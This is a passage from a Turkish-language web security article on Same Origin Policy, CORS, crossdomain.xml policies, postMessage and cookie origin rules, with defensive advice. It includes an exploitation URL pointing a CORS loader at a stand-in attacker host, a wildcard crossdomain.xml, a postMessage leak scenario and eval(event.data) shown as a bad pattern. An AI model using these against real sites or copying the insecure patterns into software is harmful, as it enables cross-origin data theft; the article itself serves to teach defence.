    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Referer: http://example.foo/main.php
    Connection: keep-alive
    
    HTTP/1.1 200 OK
    Date: Mon, 07 Oct 2013 18:20:48 GMT
    Server: Apache/2.2.16 (Debian)
    X-Powered-By: PHP/5.3.3-7+squeeze17
    Vary: Accept-Encoding
    Content-Length: 25
    Keep-Alive: timeout=15, max=99
    Connection: Keep-Alive
    Content-Type: text/html
    
    [Response Body]

    Fakat ne istek yapılan URL'den dönen yanıta dair bir filtre mekanizması olduğu için bu kod rahatlıkla aşağıdaki gibi bir yaklaşımla istismar edilebilecektir:

    http://example.foo/main.php#http://attacker.bar/file.php[11]

  5. HTTPS sitelerdeki CORS kullanımlarında HTTP isteklerin yapılıp Mixed Content zafiyetine yol açılmamasına dikkat edilmelidir.[12]

Zengin Internet Uygulamalarında (Java, Flash, Silverlight) Same Origin Policy

Java

Modern browserlar SOP'u neredeyse aynı şekilde uyarlasalar da, konu browser pluginlerine geldiğinde işin rengi ciddi derecede değişiyor. Örneğin Java. Java 8 ile birlikte hala, birbirinden farklı iki ayrı domain, aynı IP adresini çözümlüyorsa, aynı Origin'de kabul ediliyor.

Örneğin, attacker.com ile victim.com eğer aynı serverda host ediliyorsa, aynı origin'de kabul edilecek ve birbirlerinin kaynaklarına erişebilecekler. Bu durum özellikle paylaşımlı hostingler için büyük bir tehlike arz ediyor.[13]

[14]

Flash ve Silverlight

Flash uygulamaları cross domain erişimlerini yönetmek için crossdomain.xml isminde XML formatında bir dosyayı kullanırlar. İsteği karşılayacak sunucuda bulunması beklenen bu dosyanın, aynı zamanda yapılan istekleri de kabul ettiğini belirten talimat içermesi gerekmektedir.

Microsoft Silverlight crossdomain.xml dosyasına ek olarak, cross erişimleri yönetmek için clientaccesspolicy.xml isminde bir dosya kullanmaktadır.

Crossdomain.xml dosyasının, hedef sistemin kök dizininde bulunması beklenir.

Crossdomain.xml dosyası aşağıdaki izinleri yönetir:

  1. Hangi domain(ler)den cross istek yapılabileceğini
  2. Ana dizinde konumlandırılan crossdomain.xml (kendisi) dışında, altdizinlerde de crossdomain.xml dosyalarının bulunup bulunmayacağını,
  3. İstekte gönderilecek headerları,
  4. Bağlantının güvenli (SSL) olup olmayacağı vs.

Same Origin Policy

  1. Kullanıcı a.com kaynağındaki siteyi ziyaret eder.
  2. A.com kaynağı üzerindeki bir SWF scripti, b.com'daki bir kaynağa istek yapar.
  3. Bu isteğin geçerli bir istek olup olmadığını denetlemek için kullanıcı browser'ı, b.com'daki policy dosyasını (crossdomain.xml) çağırarak, bu cross domain erişime yetki verilip verilmediğini sorar.
  4. Eğer yetki verilmişse, browser tarafından ikinci istek b.com'daki kaynaklar için yapılır ve dönen sonuç, kullanıcı tarayıcısında yüklenen a.com kaynaklı SWF dosyasına teslim edilir.[15]

Örnek bir crossdomain.xml dosya yapısı:

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-port="" secure=""/>
</cross-domain-policy>

allow-access-from özellikleri ve açıklamaları:

Domain: Bu element spesifik bir domain veya IP adresine erişim izni vermek için kullanılır. Birden fazla domain'e erişim vermek için, yetki verilecek her domain için ayrı bir Allow-access-from domain satırı tanımlanmalıdır. Erişim verilecek domainler için * (asteriks) sembolü kullanılıp, bir domain altındaki tüm subdomainlere erişim izni verilebilir.

To-port: Bağlantı kabul edilecek portlar belirtilir.


Secure: Yapılan isteğin SSL olup olmayacağı belirtilir.

site-control permitted-cross-domain-policies: Muhtemel değerler, master-only, all, none (default). master-only değeri, bu domain ve tüm alt domainler için bu crossdomain.xml dosyasının geçerli olduğunu belirtir. None seçeneği, gelen isteklerin kabul edilmeyeceğini belirtir. None değerine rağmen koyulan allow-access-from belirteçleri geçersizdir. None değerinin bunlar üzerinde ezici bir üstünlüğü vardır.

all değeri ise alt domain ve alt dizinlerdeki crossdomain.xml dosyalarının geçerli olduğunu belirtir.

Crossdomain.xml dosyası ile birlikte CSRF korumalarının by-pass edileceği, yetkilendirilmiş içeriklerin okunabileceği, Firewall vb kontrollerin by-pass edilebileceği akılda tutulmalı ve aşağıdaki güvenlik uyarıları gözden geçirilmelidir:

Örnek senaryo:

Normal şartlar altında victim.com 'a yalnızca X isimli ziyaretçinin IP'si üzerinden erişilebilmektedir. Attacker.com üzerinden victim.com'a yapılmak istenen istekler ise aradaki bir güvenlik katmanı tarafından bloke edilmektedir. Bu durumda X olarak bilinen ziyaretçi attacker.com'a girmeye zorlanarak, X isimli ziyaretçinin browserı üzerinden, dolayısıyla IP adresinden, victim.com 'a istek yapılarak aradaki güvenlik katmanı by-pass edilebilmektedir.

Güvenlik Perspektifinden Crossdomain.xml

Güvenlik Perspektifinden Crossdomain.xml

  1. Ana dizin ve tüm alt dizinlerde crossdomain.xml dosyasının olup olmadığı kontrol edilmelidir. Ana dizinde güvenlik için tehlike arz etmeyen bir crossdomain.xml, eğer site-control permitted-cross-domain-policies="all" değeri içeriyorsa, alt dizinlerdeki bir crossdomain.xml tarafından ezilebilir.
  2. allow-access-from domain parametresi ile verilen izinlerin doğru kaynağa yönelik olup olmadığı kontrol edilmelidir. Mümkünse izin verilecek sitelerin, domain, port ve protokol olarak özellikle belirtilmesi faydalı olacaktır.
  3. Crossdomain.xml dosyasında verilen cross-domain erişim yetkilerinin en az yetki prensibine uygun olduğu doğrulanmalıdır.[16]

Cross Domain Messaging - postMessage()

SOP'a göre iki kaynak ancak, aynı origine sahip iseler, birbirlerinin DOM'larına erişebiliyorlar ve birbirlerine asenkron istek yapabiliyorlardı. Yukarıda saydıklarımıza ilaveten, HTML5 ile birlikte gelen Cross Domain Messaging nam-ı diğer postMessage() fonksiyonu ile, farklı origine sahip siteler arasında iletişim mümkün

window.postMessage fonksiyonu çağrıldığında, hedef kaynakta MessageEvent isminde bir olayın tetiklenmesine neden olur. Alıcı bu olayı karşılayacak, handle edecek bir fonksiyona sahipse, post edilen mesaja ulaşabilir.

Fonksiyonun kullanımı ve güvenlik perpektifinden kısa bir analizini birlikte inceleyelim:

otherWindow.postMessage(message, targetOrigin, [transfer]);

otherWindow: window.open'den dönen referans değeri, iframe nesnelerinin contentWindow propertyleri ya da window.frames koleksiyonundan sıra numarası ile eriştiğimiz bir referans değer olabilir. Özetle mesajı göndereceğimiz pencerenin referans değeridir.

Message: Göndereceğimiz mesaj metin mesajı olacağı gibi, daha karmaşık tiplerdeki veriler de olabilir. Bu veriler, HTML5'in özelliklerinden Structured Clone Algorithm kullanılarak aktarılacaktır.[17]

targetOrigin: "*" veya spesifik bir URL değeri alır. Belirtilen değer ile mesajı alıcısının origin'i SOP kuralları çerçevesinde kontrol edilir ve ancak uyuşması durumunda mesaj gönderilir.

Transfer (opsiyonel) Çift kanallı iletişim, Channel Messaging kullanılabilir.[18]

Aşağıdaki şekilde bir siteler arası mesaj gönderilebilir:

popUpWindow = window.open("http://www.example.com");
    popUpWindow.postMessage("Hi there!","http://www.example.com");

Bu mesajı almak için, hedef sitenin de bir event handler set etmesi gerekiyor:

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event)
{
  if (event.origin == "http://www.example.org")
	event.source.postMEssage("Hi Again", "http://www.example.org");
    return;
}

receiveMessage isimli fonksiyonumuza "event" isminde bir parametrenin iletildiğini görüyoruz. Bu parametre ile birlikte, gönderici ve mesaja dair ayrıntılara ulaşabiliriz:

event.data = Mesaj ile birlikte gönderilen içerik. Metin ya da nesne olabilir.

event.origin = Mesajı gönderen, postMessage fonksiyonun çalıştığı andaki, çalıştığı dökümanın origin'i (şema/protokol + host + port / http://.www.example.com) event.origin ile ilgili en önemli ayrıntı şu, postMessage çalıştığı andaki origin'i belirtir. Mesaj gönderimi ya da yanıtlanma esnasında event.source'da belirtilen window 'daki dökümanın origin'i değişmiş olabilir.

event.source = Mesajı gönderen window 'un referansı.

Mesajı alacak sitede, aşağıdaki gibi bir event listener set edilebilir:

window.addEventListener('message',function(event) {
	if(event.origin == 'http://www.trustedsite.com') {
             	event.source.postMessage("Hi. Thanks for your message", event.origin);
	}
},false);

Güvenlik Perpektifinden Cross Domain Messaging

  1. Eğer herhangi bir siteden cross domain mesaj almak istemiyorsanız, mesajları dinlemek için herhangi bir listener set etmeyin. Etmemeniz yeterli.
  2. Mesajı alacak olan kaynağı belirtirken asteriks(*) karakteri kullanmak yerine; spesifik bir origin belirtin. Çünkü siz mesajı yolladığınız esnada hedef window'un location değeri değişmiş olabilir.

    Örnek bir senaryo:

    http://trusted.victim.com'daki içerik:

    // event listener
    window.addEventListener('message',function(event) {
    	if(event.origin == 'http://victim.com')
    		alert('A sensitive data:'+event.data);
    },false);
    
    		victim = window.open("http://victim.com");
    
    		victim.postMessage("Hi, I am trusted.","*");
    
    //an injected malicious code.
    window.location="http://www.anothersite.com";

    http://victim.com'daki içerik:

    window.addEventListener('message',function(event) {
            if(event.origin == 'http://trusted.victim.com') {
                    //if origin is trusted, send password
        event.source.postMessage('X012ksj',"*");
             }
    },false);

    http://www.anothersite.com'daki içerik:

    window.addEventListener('message',function(event) {
            alert('Hi, This is another site. A sensitive data is that :'+event.data);
    },false);

    Görüleceği üzere, http://trusted.victim.com http://victim.com 'a bir mesaj yollayarak kendisini tanıtıyor. Tam bu esnada sayfanın location'ı http://www.anothersite.com olarak değiştiriliyor. http://victim.com ise kendisine gelen mesajdaki event.origin'den bilgisi ile mesajın kaynağını doğruluyor, fakat cevap verirken, yanlış bir yol izleyip, yanıtı göndereceği origin'i açıkça belirtmek yerine(http://trusted.victim.com), asteriks (*) kullanıyor. Böylece event.source ile işaret edlen window'a mesaj gittiğinde o window'da barınan dökümanın origin'inin değiştiği için, önemli mesaj, başka bir kaynak ile paylaşılmış olacak.

  3. Diğer kaynaklardan mesaj almak istediğiniz takdirde, gelen mesajın origin ve source'ını doğruluğunu, beklenen kaynak olup olmadığını kontrol edin.

    Hatalı bir örnek:

    if (msg.origin.indexOf(".example.com") != −1) { ... }
    [19]

    Yukarıdaki kontrol yalnızca example.com siteleri ile değil aynı zamanda test.example.com, attacker.com sitesi ile de eşleşecek.

  4. Yalnızca mesajın gönderildiği kaynağı değil, mesajın kendisini de kontrol etmelisiniz. Güvendiğiniz bir kaynaktan aldığınız mesaj, XSS gibi zafiyetler yoluyla değiştirilip, sizin sayfanızda zararlı kod çalıştırmak için değiştirilmiş olabilir:

    Hatalı kullanım:

    eval(event.data);
    element.innerHTML(event.data);

    Bunun yerine,

    element.innerText = event.data;

Cookie

Bugün web terminolojisinde SOP, DOM SOP ile özdeşleşse de, güvenlik arz eden tüm noktalarda bir kaynak doğrulaması yapıldığından yazının en başında söz etmiş idik. Bu alanlardan biri, yukarıdaki tabloya nazaran oldukça farklılık arz eden Cookie'ler.

Cookie'lerde, origin doğrulaması olarak sadece domain, path ve expiration değeri kullanılmakta, SOP'un aksine, protokol ve port kullanılmamaktadır. Bu sebeple Secure flag'ı, güvenli bağlantılarda Cookie'leri güvence altına almak için sonraları Microsoft tarafından geliştirilmiştir.

Bu farklılıkların belki en büyük nedeni, Cookie'nin DOM ve Javascript'in icadından önce web teknolojisine entegre edilmiş olmasıdır. Nitekim daha sonra Cookie spesifikasyonuna eklenen httpOnly flagının varlığı da bu görüşümüzü doğrular nitelikte. Çünkü httpOnly özelliği de, Cookie'lerden 1 yıl sonra icad edilen Javascript vasıtası ile, Cookie içeriklerine erişebilmeyi engelleyen bir güvenlik belirteci.

Cookie'ler hakkında geniş bir değerlendirme için, HTTP İşleyişi ve Güvenliği Açısından Cookie ve Session Yönetimi başlıklı yazımızı okuyabilirsiniz.

Sonuç

Yazı boyunca değinilmeye çalışıldığı üzere, SOP web güvenliğinin merkezinde olan bir standart olmasına rağmen, browserdan browsera, SOP'u implemente eden teknolojilere kadar pek çok farklı başlıkta , farklı ayrıntılar içermektedir. Geliştiriciler ve web güvenliği uzmanlarının bu hususlarda dikkatli davranabilmeleri ancak bu farkların bilinmesi ile mümkündür.


[1] https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)

[2] http://css.csail.mit.edu/6.858/2015/lec/l11-web-security.txt

[3] https://tools.ietf.org/html/rfc6454

[4] https://blogs.msdn.microsoft.com/ieinternals/2009/08/28/same-origin-policy-part-1-no-peeking/

[5] Tangled Web, Michal Zalewski

[6] CORS ile ilgili örnek istekler CORS in Action sayfasından alınmıştır.
http://arunranga.com/examples/access-control/

[7] https://stackoverflow.com/questions/23543719/cors-access-control-max-age-is-ignored/23549398#23549398

[8] https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/core/loader/CrossOriginPreflightResultCache.cpp&l=40&rcl=1399481969

[9] https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)

[10] https://www.owasp.org/index.php/CORS_OriginHeaderScrutiny

[11] https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)

[12] https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

[13] https://docs.oracle.com/javase/8/docs/api/java/net/URL.html#equals

[14] BYPASSING SOP IN JAVA, The Browser Hacker's Handbook, Michele Orru, Christian Frichot, Wade Alcorn

[15] https://www.adobe.com/content/dotcom/en/devnet/flashplayer/articles/fplayer9_security/_jcr_content/articlecontentAdobe/image.adimg.mw.530.jpg/1284362832935.jpg

[16] https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008)

[17] https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm

[18] https://dev.opera.com/articles/window-postmessage-messagechannel/

[19] Tangled Web, Michal Zalewski